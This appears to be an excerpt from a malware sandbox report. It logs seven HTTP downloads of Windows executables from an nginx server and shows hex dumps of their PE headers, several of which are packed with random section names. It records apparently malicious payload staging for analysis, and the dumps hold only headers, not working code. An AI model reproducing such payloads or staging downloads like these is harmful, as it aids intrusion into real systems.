00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:09:22 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:09:29 GMTContent-Type: application/octet-streamContent-Length: 1885696Last-Modified: Wed, 18 Dec 2024 18:20:46 GMTConnection: keep-aliveETag: "6763127e-1cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 7a 78 64 77 79 76 69 00 50 1a 00 00 20 30 00 00 42 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 7a 64 6c 64 69 67 00 10 00 00 00 70 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:09:37 GMTContent-Type: application/octet-streamContent-Length: 1819648Last-Modified: Thu, 19 Dec 2024 06:20:13 GMTConnection: keep-aliveETag: "6763bb1d-1bc400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 20 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 48 00 00 04 00 00 48 76 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 61 6a 62 74 65 78 6a 00 40 19 00 00 d0 2e 00 00 3c 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 77 63 72 79 63 74 71 00 10 00 00 00 10 48 00 00 06 00 00 00 9c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 48 00 00 22 00 00 00 a2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:09:47 GMTContent-Type: application/octet-streamContent-Length: 2869248Last-Modified: Thu, 19 Dec 2024 06:20:24 GMTConnection: keep-aliveETag: "6763bb28-2bc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6f 72 79 77 6c 70 00 30 2a 00 00 c0 24 00 00 26 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 7a 67 62 63 61 71 73 00 10 00 00 00 f0 4e 00 00 04 00 00 00 a2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4f 00 00 22 00 00 00 a6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:09:57 GMTContent-Type: application/octet-streamContent-Length: 969216Last-Modified: Thu, 19 Dec 2024 06:18:18 GMTConnection: keep-aliveETag: "6763baaa-eca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9b ba 63 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 eb 9b 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d4 5e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d4 5e 01 00 00 40 0d 00 00 60 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 54 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:10:05 GMTContent-Type: application/octet-streamContent-Length: 1733632Last-Modified: Thu, 19 Dec 2024 06:18:45 GMTConnection: keep-aliveETag: "6763bac5-1a7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 77 6a 61 69 72 73 74 00 20 1a 00 00 c0 2a 00 00 12 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 63 65 77 6b 69 73 73 00 20 00 00 00 e0 44 00 00 06 00 00 00 4c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 45 00 00 22 00 00 00 52 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:10:07 GMTContent-Type: application/octet-streamContent-Length: 1733632Last-Modified: Thu, 19 Dec 2024 06:18:47 GMTConnection: keep-aliveETag: "6763bac7-1a7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 77 6a 61 69 72 73 74 00 20 1a 00 00 c0 2a 00 00 12 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 63 65 77 6b 69 73 73 00 20 00 00 00 e0 44 00 00 06 00 00 00 4c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 45 00 00 22 00 00 00 52 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
